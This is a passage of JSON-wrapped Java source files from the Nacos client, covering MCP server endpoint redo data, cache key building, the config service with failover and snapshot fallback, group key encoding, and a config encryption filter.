    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote.redo;\n\nimport java.util.Objects;\n\n/**\n * Nacos AI module mcp server endpoint required information for redo data.\n *\n * @author xiweng.yy\n */\npublic class McpServerEndpoint {\n    \n    private final String address;\n    \n    private final int port;\n    \n    private final String version;\n    \n    public McpServerEndpoint(String address, int port, String version) {\n        this.address = address;\n        this.port = port;\n        this.version = version;\n    }\n    \n    public String getAddress() {\n        return address;\n    }\n    \n    public int getPort() {\n        return port;\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        McpServerEndpoint that = (McpServerEndpoint) o;\n        return port == that.port && Objects.equals(address, that.address) && Objects.equals(version, that.version);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(address, port, version);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/remote/redo/McpServerEndpointRedoData.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote.redo;\n\nimport com.alibaba.nacos.client.redo.data.RedoData;\n\nimport java.util.Objects;\n\n/**\n * Nacos AI module mcp server endpoint redo data.\n *\n * @author xiweng.yy\n */\npublic class McpServerEndpointRedoData extends RedoData<McpServerEndpoint> {\n    \n    private final String mcpName;\n    \n    public McpServerEndpointRedoData(String mcpName) {\n        this.mcpName = mcpName;\n    }\n    \n    public String getMcpName() {\n        return mcpName;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        if (!super.equals(o)) {\n            return false;\n        }\n        McpServerEndpointRedoData that = (McpServerEndpointRedoData) o;\n        return Objects.equals(mcpName, that.mcpName) && super.equals(o);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(super.hashCode(), mcpName);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/utils/CacheKeyUtils.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.utils;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Nacos AI module cache key utils.\n *\n * @author xiweng.yy\n */\npublic class CacheKeyUtils {\n    \n    public static final String LATEST_VERSION = \"latest\";\n    \n    /**\n     * Build mcp server versioned key.\n     *\n     * @param mcpName name of mcp server\n     * @param version version of mcp server, if version is blank or null, use latest version\n     * @return mcp server versioned key, pattern ${mcpName}::${version}\n     */\n    public static String buildMcpServerKey(String mcpName, String version) {\n        return buildVersionedKey(mcpName, version);\n    }\n    \n    /**\n     * Build AgentCard versioned key.\n     *\n     * @param agentName name of agent name\n     * @param version version of agent name, if version is blank or null, use latest version\n     * @return mcp server versioned key, pattern ${mcpName}::${version}\n     */\n    public static String buildAgentCardKey(String agentName, String version) {\n        return buildVersionedKey(agentName, version);\n    }\n    \n    /**\n     * Build skill key.\n     *\n     * @param skillName name of skill\n     * @return skill key, pattern ${skillName}\n     */\n    public static String buildSkillKey(String skillName) {\n        return skillName;\n    }\n    \n    /**\n     * Build prompt key.\n     *\n     * @param promptKey prompt key\n     * @return prompt key for cache\n     */\n    public static String buildPromptKey(String promptKey) {\n        return promptKey;\n    }\n    \n    /**\n     * Build prompt query key.\n     *\n     * @param promptKey prompt key\n     * @param version prompt version, optional\n     * @param label prompt label, optional\n     * @return prompt query key, pattern ${promptKey}::label:${label}|version:${version}|latest\n     */\n    public static String buildPromptKey(String promptKey, String version, String label) {\n        if (StringUtils.isNotBlank(label)) {\n            return promptKey + \"::label:\" + label;\n        }\n        if (StringUtils.isNotBlank(version)) {\n            return promptKey + \"::version:\" + version;\n        }\n        return promptKey + \"::\" + LATEST_VERSION;\n    }\n    \n    private static String buildVersionedKey(String name, String version) {\n        if (StringUtils.isBlank(version)) {\n            version = LATEST_VERSION;\n        }\n        return name + \"::\" + version;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/NacosConfigService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.ConfigQueryResult;\nimport com.alibaba.nacos.api.config.ConfigService;\nimport com.alibaba.nacos.api.config.ConfigType;\nimport com.alibaba.nacos.api.config.filter.IConfigFilter;\nimport com.alibaba.nacos.api.config.listener.FuzzyWatchEventWatcher;\nimport com.alibaba.nacos.api.config.listener.Listener;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.config.filter.impl.ConfigFilterChainManager;\nimport com.alibaba.nacos.client.config.filter.impl.ConfigRequest;\nimport com.alibaba.nacos.client.config.filter.impl.ConfigResponse;\nimport com.alibaba.nacos.client.config.impl.ClientWorker;\nimport com.alibaba.nacos.client.config.impl.ConfigFuzzyWatchContext;\nimport com.alibaba.nacos.client.config.impl.ConfigServerListManager;\nimport com.alibaba.nacos.client.config.impl.LocalConfigInfoProcessor;\nimport com.alibaba.nacos.client.config.impl.LocalEncryptedDataKeyProcessor;\nimport com.alibaba.nacos.client.config.utils.ParamUtils;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.utils.ClientBasicParamUtil;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.client.utils.PreInitUtils;\nimport com.alibaba.nacos.client.utils.ValidatorUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\n\nimport java.util.Collections;\nimport java.util.Properties;\nimport java.util.Set;\nimport java.util.concurrent.Future;\n\nimport static com.alibaba.nacos.api.common.Constants.ALL_PATTERN;\n\n/**\n * Config Impl.\n *\n * @author Nacos\n */\npublic class NacosConfigService implements ConfigService {\n    \n    private static final Logger LOGGER = LogUtils.logger(NacosConfigService.class);\n    \n    private static final String UP = \"UP\";\n    \n    private static final String DOWN = \"DOWN\";\n    \n    /**\n     * long polling.\n     */\n    private final ClientWorker worker;\n    \n    private String namespace;\n    \n    private final ConfigFilterChainManager configFilterChainManager;\n    \n    public NacosConfigService(Properties properties) throws NacosException {\n        PreInitUtils.asyncPreLoadCostComponent();\n        final NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        LOGGER.info(ClientBasicParamUtil.getInputParameters(clientProperties.asProperties()));\n        ValidatorUtils.checkInitParam(clientProperties);\n        \n        initNamespace(clientProperties);\n        this.configFilterChainManager = new ConfigFilterChainManager(clientProperties.asProperties());\n        ConfigServerListManager serverListManager = new ConfigServerListManager(clientProperties);\n        serverListManager.start();\n        \n        this.worker = new ClientWorker(this.configFilterChainManager, serverListManager, clientProperties);\n        \n    }\n    \n    private void initNamespace(NacosClientProperties properties) {\n        namespace = ClientBasicParamUtil.parseNamespace(properties);\n        properties.setProperty(PropertyKeyConst.NAMESPACE, namespace);\n    }\n    \n    @Override\n    public String getConfig(String dataId, String group, long timeoutMs) throws NacosException {\n        return getConfigInner(namespace, dataId, group, timeoutMs);\n    }\n    \n    @Override\n    public String getConfigAndSignListener(String dataId, String group, long timeoutMs, Listener listener)\n            throws NacosException {\n        group = StringUtils.isBlank(group) ? Constants.DEFAULT_GROUP : group.trim();\n        ConfigResponse configResponse = worker.getAgent()\n                .queryConfig(dataId, group, worker.getAgent().getTenant(), timeoutMs, false);\n        String content = configResponse.getContent();\n        String encryptedDataKey = configResponse.getEncryptedDataKey();\n        worker.addTenantListenersWithContent(dataId, group, content, encryptedDataKey,\n                Collections.singletonList(listener));\n        \n        // get a decryptContent, fix https://github.com/alibaba/nacos/issues/7039\n        ConfigResponse cr = new ConfigResponse();\n        cr.setDataId(dataId);\n        cr.setGroup(group);\n        cr.setContent(content);\n        cr.setEncryptedDataKey(encryptedDataKey);\n        configFilterChainManager.doFilter(null, cr);\n        return cr.getContent();\n    }\n    \n    @Override\n    public void addListener(String dataId, String group, Listener listener) throws NacosException {\n        worker.addTenantListeners(dataId, group, Collections.singletonList(listener));\n    }\n    \n    @Override\n    public void fuzzyWatch(String groupNamePattern, FuzzyWatchEventWatcher watcher) throws NacosException {\n        doAddFuzzyWatch(ALL_PATTERN, groupNamePattern, watcher);\n    }\n    \n    @Override\n    public void fuzzyWatch(String dataIdPattern, String groupNamePattern, FuzzyWatchEventWatcher watcher)\n            throws NacosException {\n        doAddFuzzyWatch(dataIdPattern, groupNamePattern, watcher);\n    }\n    \n    @Override\n    public Future<Set<String>> fuzzyWatchWithGroupKeys(String groupNamePattern, FuzzyWatchEventWatcher watcher)\n            throws NacosException {\n        return doAddFuzzyWatch(ALL_PATTERN, groupNamePattern, watcher);\n    }\n    \n    @Override\n    public Future<Set<String>> fuzzyWatchWithGroupKeys(String dataIdPattern, String groupNamePattern,\n            FuzzyWatchEventWatcher watcher) throws NacosException {\n        return doAddFuzzyWatch(dataIdPattern, groupNamePattern, watcher);\n    }\n    \n    private Future<Set<String>> doAddFuzzyWatch(String dataIdPattern, String groupNamePattern,\n            FuzzyWatchEventWatcher watcher) throws NacosException {\n        ConfigFuzzyWatchContext configFuzzyWatchContext = worker.addTenantFuzzyWatcher(dataIdPattern, groupNamePattern,\n                watcher);\n        return configFuzzyWatchContext.createNewFuture();\n    }\n    \n    @Override\n    public void cancelFuzzyWatch(String groupNamePattern, FuzzyWatchEventWatcher watcher) throws NacosException {\n        cancelFuzzyWatch(ALL_PATTERN, groupNamePattern, watcher);\n    }\n    \n    @Override\n    public void cancelFuzzyWatch(String dataIdPattern, String groupNamePattern, FuzzyWatchEventWatcher watcher)\n            throws NacosException {\n        doCancelFuzzyWatch(dataIdPattern, groupNamePattern, watcher);\n    }\n    \n    private void doCancelFuzzyWatch(String dataIdPattern, String groupNamePattern, FuzzyWatchEventWatcher watcher)\n            throws NacosException {\n        if (null == watcher) {\n            return;\n        }\n        worker.removeFuzzyListenListener(dataIdPattern, groupNamePattern, watcher);\n    }\n    \n    @Override\n    public boolean publishConfig(String dataId, String group, String content) throws NacosException {\n        return publishConfig(dataId, group, content, ConfigType.getDefaultType().getType());\n    }\n    \n    @Override\n    public boolean publishConfig(String dataId, String group, String content, String type) throws NacosException {\n        return publishConfigInner(namespace, dataId, group, null, null, null, content, type, null);\n    }\n    \n    @Override\n    public boolean publishConfigCas(String dataId, String group, String content, String casMd5) throws NacosException {\n        return publishConfigInner(namespace, dataId, group, null, null, null, content,\n                ConfigType.getDefaultType().getType(), casMd5);\n    }\n    \n    @Override\n    public boolean publishConfigCas(String dataId, String group, String content, String casMd5, String type)\n            throws NacosException {\n        return publishConfigInner(namespace, dataId, group, null, null, null, content, type, casMd5);\n    }\n    \n    @Override\n    public boolean removeConfig(String dataId, String group) throws NacosException {\n        return removeConfigInner(namespace, dataId, group, null);\n    }\n    \n    @Override\n    public void removeListener(String dataId, String group, Listener listener) {\n        worker.removeTenantListener(dataId, group, listener);\n    }\n    \n    private String getConfigInner(String tenant, String dataId, String group, long timeoutMs) throws NacosException {\n        group = blank2defaultGroup(group);\n        ParamUtils.checkKeyParam(dataId, group);\n        ConfigResponse cr = new ConfigResponse();\n        \n        cr.setDataId(dataId);\n        cr.setTenant(tenant);\n        cr.setGroup(group);\n        \n        // We first try to use local failover content if exists.\n        // A config content for failover is not created by client program automatically,\n        // but is maintained by user.\n        // This is designed for certain scenario like client emergency reboot,\n        // changing config needed in the same time, while nacos server is down.\n        String content = LocalConfigInfoProcessor.getFailover(worker.getAgentName(), dataId, group, tenant);\n        if (content != null) {\n            LOGGER.warn(\"[{}] [get-config] get failover ok, dataId={}, group={}, tenant={}\", worker.getAgentName(),\n                    dataId, group, tenant);\n            cr.setContent(content);\n            String encryptedDataKey = LocalEncryptedDataKeyProcessor.getEncryptDataKeyFailover(worker.getAgentName(),\n                    dataId, group, tenant);\n            cr.setEncryptedDataKey(encryptedDataKey);\n            configFilterChainManager.doFilter(null, cr);\n            content = cr.getContent();\n            return content;\n        }\n        \n        try {\n            ConfigResponse response = worker.getServerConfig(dataId, group, tenant, timeoutMs, false);\n            cr.setContent(response.getContent());\n            cr.setEncryptedDataKey(response.getEncryptedDataKey());\n            configFilterChainManager.doFilter(null, cr);\n            content = cr.getContent();\n            \n            return content;\n        } catch (NacosException ioe) {\n            if (NacosException.NO_RIGHT == ioe.getErrCode()) {\n                throw ioe;\n            }\n            LOGGER.warn(\"[{}] [get-config] get from server error, dataId={}, group={}, tenant={}, msg={}\",\n                    worker.getAgentName(), dataId, group, tenant, ioe.toString());\n        }\n        \n        content = LocalConfigInfoProcessor.getSnapshot(worker.getAgentName(), dataId, group, tenant);\n        if (content != null) {\n            LOGGER.warn(\"[{}] [get-config] get snapshot ok, dataId={}, group={}, tenant={}\", worker.getAgentName(),\n                    dataId, group, tenant);\n        }\n        cr.setContent(content);\n        String encryptedDataKey = LocalEncryptedDataKeyProcessor.getEncryptDataKeySnapshot(worker.getAgentName(),\n                dataId, group, tenant);\n        cr.setEncryptedDataKey(encryptedDataKey);\n        configFilterChainManager.doFilter(null, cr);\n        content = cr.getContent();\n        return content;\n    }\n    \n    private String blank2defaultGroup(String group) {\n        return (StringUtils.isBlank(group)) ? Constants.DEFAULT_GROUP : group.trim();\n    }\n    \n    private ConfigResponse getConfigInnerWithResponse(String tenant, String dataId, String group, long timeoutMs) \n            throws NacosException {\n        group = blank2defaultGroup(group);\n        ParamUtils.checkKeyParam(dataId, group);\n        ConfigResponse cr = new ConfigResponse();\n        \n        cr.setDataId(dataId);\n        cr.setTenant(tenant);\n        cr.setGroup(group);\n        \n        // Try local failover first\n        String content = LocalConfigInfoProcessor.getFailover(worker.getAgentName(), dataId, group, tenant);\n        if (content != null) {\n            LOGGER.warn(\"[{}] [get-config] get failover ok, dataId={}, group={}, tenant={}\", worker.getAgentName(),\n                    dataId, group, tenant);\n            cr.setContent(content);\n            String encryptedDataKey = LocalEncryptedDataKeyProcessor.getEncryptDataKeyFailover(worker.getAgentName(),\n                    dataId, group, tenant);\n            cr.setEncryptedDataKey(encryptedDataKey);\n            // Failover doesn't have MD5 from server\n            configFilterChainManager.doFilter(null, cr);\n            return cr;\n        }\n        \n        try {\n            ConfigResponse response = worker.getServerConfig(dataId, group, tenant, timeoutMs, false);\n            cr.setContent(response.getContent());\n            cr.setMd5(response.getMd5());\n            cr.setEncryptedDataKey(response.getEncryptedDataKey());\n            cr.setConfigType(response.getConfigType());\n            configFilterChainManager.doFilter(null, cr);\n            return cr;\n        } catch (NacosException ioe) {\n            if (NacosException.NO_RIGHT == ioe.getErrCode()) {\n                throw ioe;\n            }\n            LOGGER.warn(\"[{}] [get-config] get from server error, dataId={}, group={}, tenant={}, msg={}\",\n                    worker.getAgentName(), dataId, group, tenant, ioe.toString());\n        }\n        \n        // Fall back to snapshot\n        content = LocalConfigInfoProcessor.getSnapshot(worker.getAgentName(), dataId, group, tenant);\n        if (content != null) {\n            LOGGER.warn(\"[{}] [get-config] get snapshot ok, dataId={}, group={}, tenant={}\", worker.getAgentName(),\n                    dataId, group, tenant);\n        }\n        cr.setContent(content);\n        String encryptedDataKey = LocalEncryptedDataKeyProcessor.getEncryptDataKeySnapshot(worker.getAgentName(),\n                dataId, group, tenant);\n        cr.setEncryptedDataKey(encryptedDataKey);\n        // Snapshot doesn't have MD5 from server\n        configFilterChainManager.doFilter(null, cr);\n        return cr;\n    }\n    \n    @Override\n    public ConfigQueryResult getConfigWithResult(String dataId, String group, long timeoutMs) throws NacosException {\n        ConfigResponse response = getConfigInnerWithResponse(namespace, dataId, group, timeoutMs);\n        ConfigQueryResult result = new ConfigQueryResult();\n        result.setContent(response.getContent());\n        result.setMd5(response.getMd5());\n        result.setConfigType(response.getConfigType());\n        result.setEncryptedDataKey(response.getEncryptedDataKey());\n        return result;\n    }\n    \n    private boolean removeConfigInner(String tenant, String dataId, String group, String tag) throws NacosException {\n        group = blank2defaultGroup(group);\n        ParamUtils.checkKeyParam(dataId, group);\n        return worker.removeConfig(dataId, group, tenant, tag);\n    }\n    \n    private boolean publishConfigInner(String tenant, String dataId, String group, String tag, String appName,\n            String betaIps, String content, String type, String casMd5) throws NacosException {\n        group = blank2defaultGroup(group);\n        ParamUtils.checkParam(dataId, group, content);\n        \n        ConfigRequest cr = new ConfigRequest();\n        cr.setDataId(dataId);\n        cr.setTenant(tenant);\n        cr.setGroup(group);\n        cr.setContent(content);\n        cr.setType(type);\n        configFilterChainManager.doFilter(cr, null);\n        content = cr.getContent();\n        String encryptedDataKey = cr.getEncryptedDataKey();\n        \n        return worker.publishConfig(dataId, group, tenant, appName, tag, betaIps, content, encryptedDataKey, casMd5,\n                type);\n    }\n    \n    @Override\n    public String getServerStatus() {\n        if (worker.isHealthServer()) {\n            return UP;\n        } else {\n            return DOWN;\n        }\n    }\n    \n    @Override\n    public void addConfigFilter(IConfigFilter configFilter) {\n        configFilterChainManager.addFilter(configFilter);\n    }\n    \n    @Override\n    public void shutDown() throws NacosException {\n        worker.shutdown();\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/common/ConfigConstants.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.common;\n\n/**\n * config common constants.\n *\n * @author Nacos\n */\npublic class ConfigConstants {\n    \n    public static final String TENANT = \"tenant\";\n    \n    public static final String DATA_ID = \"dataId\";\n    \n    public static final String GROUP = \"group\";\n    \n    public static final String CONTENT = \"content\";\n    \n    public static final String CONFIG_TYPE = \"configType\";\n    \n    public static final String ENCRYPTED_DATA_KEY = \"encryptedDataKey\";\n    \n    public static final String TYPE = \"type\";\n    \n    public static final String MD5 = \"md5\";\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/common/GroupKey.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.common;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Synthesize the form of dataId+groupId. Escapes reserved characters in dataId and groupId.\n *\n * @author Nacos\n */\npublic class GroupKey {\n    \n    private static final char PLUS = '+';\n    \n    private static final char PERCENT = '%';\n    \n    private static final char TWO = '2';\n    \n    private static final char B = 'B';\n    \n    private static final char FIVE = '5';\n    \n    public static String getKey(String dataId, String group) {\n        return getKey(dataId, group, \"\");\n    }\n    \n    public static String getKey(String dataId, String group, String datumStr) {\n        return doGetKey(dataId, group, datumStr);\n    }\n    \n    public static String getKeyTenant(String dataId, String group, String tenant) {\n        return doGetKey(dataId, group, tenant);\n    }\n    \n    private static String doGetKey(String dataId, String group, String datumStr) {\n        if (StringUtils.isBlank(dataId)) {\n            throw new IllegalArgumentException(\"invalid dataId\");\n        }\n        if (StringUtils.isBlank(group)) {\n            throw new IllegalArgumentException(\"invalid group\");\n        }\n        StringBuilder sb = new StringBuilder();\n        urlEncode(dataId, sb);\n        sb.append(PLUS);\n        urlEncode(group, sb);\n        if (StringUtils.isNotEmpty(datumStr)) {\n            sb.append(PLUS);\n            urlEncode(datumStr, sb);\n        }\n        \n        return sb.toString();\n    }\n    \n    /**\n     * Parse key.\n     *\n     * @param groupKey group key\n     * @return parsed key\n     */\n    public static String[] parseKey(String groupKey) {\n        StringBuilder sb = new StringBuilder();\n        String dataId = null;\n        String group = null;\n        String tenant = null;\n        \n        for (int i = 0; i < groupKey.length(); ++i) {\n            char c = groupKey.charAt(i);\n            if (PLUS == c) {\n                if (null == dataId) {\n                    dataId = sb.toString();\n                    sb.setLength(0);\n                } else if (null == group) {\n                    group = sb.toString();\n                    sb.setLength(0);\n                } else {\n                    throw new IllegalArgumentException(\"invalid groupkey:\" + groupKey);\n                }\n            } else if (PERCENT == c) {\n                char next = groupKey.charAt(++i);\n                char nextnext = groupKey.charAt(++i);\n                if (TWO == next && B == nextnext) {\n                    sb.append(PLUS);\n                } else if (TWO == next && FIVE == nextnext) {\n                    sb.append(PERCENT);\n                } else {\n                    throw new IllegalArgumentException(\"invalid groupkey:\" + groupKey);\n                }\n            } else {\n                sb.append(c);\n            }\n        }\n        \n        if (group == null) {\n            group = sb.toString();\n        } else {\n            tenant = sb.toString();\n        }\n        \n        if (StringUtils.isBlank(dataId)) {\n            throw new IllegalArgumentException(\"invalid dataId\");\n        }\n        if (StringUtils.isBlank(group)) {\n            throw new IllegalArgumentException(\"invalid group\");\n        }\n        return new String[] {dataId, group, tenant};\n    }\n    \n    /**\n     * + -> %2B % -> %25.\n     */\n    static void urlEncode(String str, StringBuilder sb) {\n        for (int idx = 0; idx < str.length(); ++idx) {\n            char c = str.charAt(idx);\n            if (PLUS == c) {\n                sb.append(\"%2B\");\n            } else if (PERCENT == c) {\n                sb.append(\"%25\");\n            } else {\n                sb.append(c);\n            }\n        }\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/filter/impl/ConfigContext.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.filter.impl;\n\nimport com.alibaba.nacos.api.config.filter.IConfigContext;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Config Context.\n *\n * @author Nacos\n */\npublic class ConfigContext implements IConfigContext {\n    \n    private final Map<String, Object> param = new HashMap<>();\n    \n    @Override\n    public Object getParameter(String key) {\n        return param.get(key);\n    }\n    \n    @Override\n    public void setParameter(String key, Object value) {\n        param.put(key, value);\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/filter/impl/ConfigEncryptionFilter.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.filter.impl;\n\nimport com.alibaba.nacos.api.config.filter.AbstractConfigFilter;\nimport com.alibaba.nacos.api.config.filter.IConfigFilterChain;\nimport com.alibaba.nacos.api.config.filter.IConfigRequest;\nimport com.alibaba.nacos.api.config.filter.IConfigResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.utils.Pair;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.encryption.handler.EncryptionHandler;\n\nimport java.util.Objects;\nimport java.util.Properties;\n\n/**\n * Configure encryption filter.\n *\n * @author lixiaoshuang\n */\npublic class ConfigEncryptionFilter extends AbstractConfigFilter {\n    \n    private static final String DEFAULT_NAME = ConfigEncryptionFilter.class.getName();\n    \n    @Override\n    public void init(Properties properties) {\n    \n    }\n    \n    @Override\n    public void doFilter(IConfigRequest request, IConfigResponse response, IConfigFilterChain filterChain)\n            throws NacosException {\n        if (Objects.nonNull(request) && request instanceof ConfigRequest && Objects.isNull(response)) {\n            \n            // Publish configuration, encrypt\n            ConfigRequest configRequest = (ConfigRequest) request;\n            String dataId = configRequest.getDataId();\n            String content = configRequest.getContent();\n            \n            Pair<String, String> pair = EncryptionHandler.encryptHandler(dataId, content);\n            String secretKey = pair.getFirst();\n            String encryptContent = pair.getSecond();\n            if (!StringUtils.isBlank(encryptContent) && !encryptContent.equals(content)) {\n                ((ConfigRequest) request).setContent(encryptContent);\n            }\n            if (!StringUtils.isBlank(secretKey) && !secretKey.equals(((ConfigRequest) request).getEncryptedDataKey())) {\n                ((ConfigRequest) request).setEncryptedDataKey(secretKey);\n            } else if (StringUtils.isBlank(((ConfigRequest) request).getEncryptedDataKey()) && StringUtils.isBlank(secretKey)) {\n                ((ConfigRequest) request).setEncryptedDataKey(\"\");\n            }\n        }\n        if (Objects.nonNull(response) && response instanceof ConfigResponse && Objects.isNull(request)) {\n            \n            // Get configuration, decrypt\n            ConfigResponse configResponse = (ConfigResponse) response;\n            \n            String dataId = configResponse.getDataId();\n            String encryptedDataKey = configResponse.getEncryptedDataKey();\n            String content = configResponse.getContent();\n            \n            Pair<String, String> pair = EncryptionHandler.decryptHandler(dataId, encryptedDataKey, content);\n            String secretKey = pair.getFirst();\n            String decryptContent = pair.getSecond();\n            if (!StringUtils.isBlank(decryptContent) && !decryptContent.equals(content)) {\n                ((ConfigResponse) response).setContent(decryptContent);\n            }\n            if (!StringUtils.isBlank(secretKey) && !secretKey.equals(((ConfigResponse) response).getEncryptedDataKey())) {\n                ((ConfigResponse) response).setEncryptedDataKey(secretKey);\n            } else if (StringUtils.isBlank(((ConfigResponse) response).getEncryptedDataKey()) && StringUtils.isBlank(secretKey)) {\n                ((ConfigResponse) response).setEncryptedDataKey(\"\");\n            }\n        }\n        filterChain.doFilter(request, response);\n    }\n    \n    @Override\n    public int getOrder() {\n        return 0;\n    }\n    \n    @Override\n    public String getFilterName() {\n        return DEFAULT_NAME;\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/filter/impl/ConfigFilterChainManager.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.filter.impl;\n\nimport com.alibaba.nacos.api.config.filter.IConfigFilter;\nimport com.alibaba.nacos.api.config.filter.IConfigFilterChain;\nimport com.alibaba.nacos.api.config.filter.IConfigRequest;\nimport com.alibaba.nacos.api.config.filter.IConfigResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Properties;\nimport java.util.ServiceLoader;\n\n/**\n * Config Filter Chain Management.\n *\n * @author Nacos\n */\npublic class ConfigFilterChainManager implements IConfigFilterChain {\n    \n    private final List<IConfigFilter> filters = new ArrayList<>();\n\n    private final Properties initProperty;\n    \n    public ConfigFilterChainManager(Properties properties) {\n        this.initProperty = properties;\n        ServiceLoader<IConfigFilter> 